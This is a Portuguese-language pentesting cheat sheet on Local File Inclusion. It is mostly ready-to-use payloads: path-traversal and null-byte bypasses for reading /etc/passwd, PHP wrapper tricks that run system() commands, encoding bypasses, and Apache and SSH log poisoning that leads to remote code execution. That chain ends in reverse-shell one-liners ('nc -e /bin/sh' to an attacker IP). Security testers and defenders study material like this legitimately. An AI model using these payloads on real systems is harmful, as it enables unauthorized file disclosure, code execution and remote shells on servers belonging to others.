LFI
LFI (Local File Inclusion) é o processo de inclusão de arquivos, que já estão presentes localmente no servidor em questão.
Esta falha ocorre, por exemplo, quando uma página recebe como entrada, o caminho para o arquivo que será incluído, e esta entrada não é validada de forma correta pela aplicação web, possibilitando assim que caracteres de directory traversal (../../) sejam injetados.
Apesar de que a maior parte desse tipo de falha se manifeste em aplicações PHP, é muito importante lembrar que ela também pode ocorrer em JSP, ASPX e em outras tecnologias.
OBS.: Apesar da semelhança entre LFI e Directory Transversal, os dois temas estão sendo tratados de forma unitária aqui. Abaixo uma breve descrição entre a principal diferença entre os dois:
LFI: Tem capacidade para executar arquivos. Pode ser um código shell ou outro arquivo local existente no sistema
Directory Transversal: Ele apenas percorre os arquivos, para que possamos apenas lê-lo (não pode executar). Esse é o tipo de divulgação de informações confidenciais
Abaixo segue um trecho de código PHP vulnerável a LFI:
$file = $_GET['page'];
require($file . ".php");O .php é adicionado no final do nome do arquivo, isso significa que não seremos capazes de encontrar arquivos como /etc/passwd já que o arquivo ficará com o nome /etc/passwd.php, que não existe.
Então vamos ver algumas técnicas que podemos utilizar para driblar esse tipo de defesa.
Null Byte
Adicionando um NullByte ao final de nossa string de ataque, o .php não será levado em consideração.
Então adicionamos %00 ao final da nossa string de ataque, ficando assim:
http://example.com/page=../../../../../../../etc/passwd%00PHP (Wrappers)
Baixando um arquivo do servidor em Base64
http://vuln.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
http://vuln.php?page=php://filter/read=convert.base64-encode/resource=/etc/passwdSemelhante ao ataque acima, porém a saída não está em base64
?page=php://filter/resource=/etc/passwdExtrai um arquivo zip. Antes de extrair o arquivo, faça upload desse arquivo zip com um shell reverso dentro
vuln.php?page=zip://path/to/file.zip%23shellExecutando comandos PHP em real time:
vuln.php?page=data:text/plain,Mysther
vuln.php?page=data:text/plain,<?php phpinfo(); ?>
vuln.php?page=data:text/plain,<?php system("<command>"); ?>
vuln.php?page=data:text/plain,<?php echo shell_exec("<command>") ?>Bypass em Files Directory
As vezes não é possível trazer o conteúdo com http://example.com/page=/etc/passwd, então podemos usar os seguintes modelos:
http://example.com/page=///etc/passwd
http://example.com/page=/./etc/passwd
http://example.com/page=/././././etc/passwd
http://example.com/page=/./.././././/.///../../.././/./././etc/passwd
http://example.com/page=/%2e/etc/passwd
http://example.com/page=/%252e/etc/passwd
http://example.com/page=/%2e/%2e%2e/%2e/%2e/%2e//%2e///%2e%2e/%2e%2e/%2e%2e/%2e//%2e/%2e/%2e/etc/passwdAs vezes é preciso acessar determinado diretório para então pode voltar e acessar um arquivo na raiz
http://example.com/var/www/../../../../../../../../../../etc/passwdTambém podemos
http://example.com/config/./file.txt
http://example.com/config/././././file.txt
http://example.com/config/../config/file.txt
http://example.com/config/%2e/file.txt
http://example.com/config/%2e%2e/config//file.txt
http://example.com/config/%2e/%2e/%2e/%2e/%2e/file.txtOutra forma é denotando file ou local_file, por exemplo:
http://example.com/?page=file:///etc/passwd
http://example.com/?page=local_file:///etc/passwdBypass em Regex
Considere e seguinte código do arquivo index.php que serve para ler o conteúdo de um arquivo PHP e exibir na tela, porém o arquivo config.php está restrito a leitura. O nome do arquivo que será lido, deverá ser informado via GET no parâmetro source.
# index.php
include 'config.php';
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
die("Você não tem permissão para acessar este arquivo");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
}
Podemos então, "bypassar" essa condição da seguinte forma:
curl http://<domain>/index.php/config.php/%ff?<param>Codificando Caracteres
.= %u002e/= %u2215\= %u2216.= %c0%2e, %e0%40%ae, %c0ae/= %c0%af, %e0%80%af, %c0%2f\= %c0%5c, %c0%80%5c.= %252e/= %252f\= %255c.= %2e/= %2f
Inserindo Comandos via Log do Apache
Antes de tentarmos esse ataque, precisamos ser capazes de ler arquivos de log. Então vamos envenenar o arquivo de log do apache. Podemos usar o success.log ou o error.log.
Modo 1
Então primeiro vamos injetar o código PHP no arquivo de Log, utilizando o Netcat.
nc <ip> <port>
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1Podemos adicioná-lo ao log de erros fazendo uma solicitação para uma página que não existe:
nc <ip> <port>
GET /AAAAAA<?php passthru($_GET['cmd']); ?> HTTP/1.1Ou no parâmetro referer
GET / HTTP/1.1
Referer: <? passthru($_GET[cmd]) ?>Agora podemos ler e executar o código através do Browser:
http://<site>/index.php?page=../../../../../var/log/apache2/access.log&cmd=lsModo 2
Acesse a página vulnerável a LFI utilizando o seguinte comando
curl http://site.com -H 'User-agent: <?php system($_GET[0]); ?>'Agora abra o netcat
nc -nlvp 9999Realize o RCE para gerar a Reverse Shell
curl 'http://site.com?page=/var/log/apache2/access.log?0=nc%20-e%20/bin/sh%20<IP_ATACANTE>%209999'ATENÇÃO: Nesse exemplo estamos utilizando arquivos do Linux, porém se o host alvo for um Windows, devemos tentar diretórios diferentes, como por exemplo: c:\xampp\apache\logs\access.log
Inserindo Comandos via Log do SSH
Acesse o host vulnerável a LFI utilizando o serviço SSH e passando o payload no lugar do user
ssh '<?php system(%_GET[0]); ?>'@<IP_ALVO>Agora abra o netcat
nc -nlvp 9999Realize o RCE para gerar a Reverse Shell
curl 'http://site.com?page=.././../../../../../../../../var/log/auth.log?0=nc%20-e%20/bin/sh%20<IP_ATACANTE>%209999'Log Poisoned (LFI + RCE)
Environ
Assim como a inserção de comandos via Log do Apache, neste também precisamos ser capazes de ler arquivos, nesse caso iremos ler /proc/self/environ. Primeiro acesse o site/sistema Apache com um User-Agent que contenha comandos. Para exemplo, iremos utilizar o curl.
curl <site> --user-agent "<?php phpinfo(); ?>"Agora podemos ler e executar o código através do Browser:
http://<domain>/index.php?page=../../../../../proc/self/environLendo Arquivos do IIS 4
O IIS 4 contém uma vulnerabilidade de ataque Directory Transversal, que permite mostrar os arquivos. Para ver qualquer arquivo no servidor via web, digite um dos comandos abaixo:
http://{dominio}/msadc/Samples/SELECTOR/showcode.asp?source=/../../../../../boot.ini
http://{dominio}/iisamples/exair/howitworks/codebrews.asp?source=/../../../../../boot.iniSites
https://www.exploit-db.com/papers/12992
https://www.aptive.co.uk/blog/local-file-inclusion-lfi-testing/
https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/web-application/lfi-rfiLast updated
Was this helpful?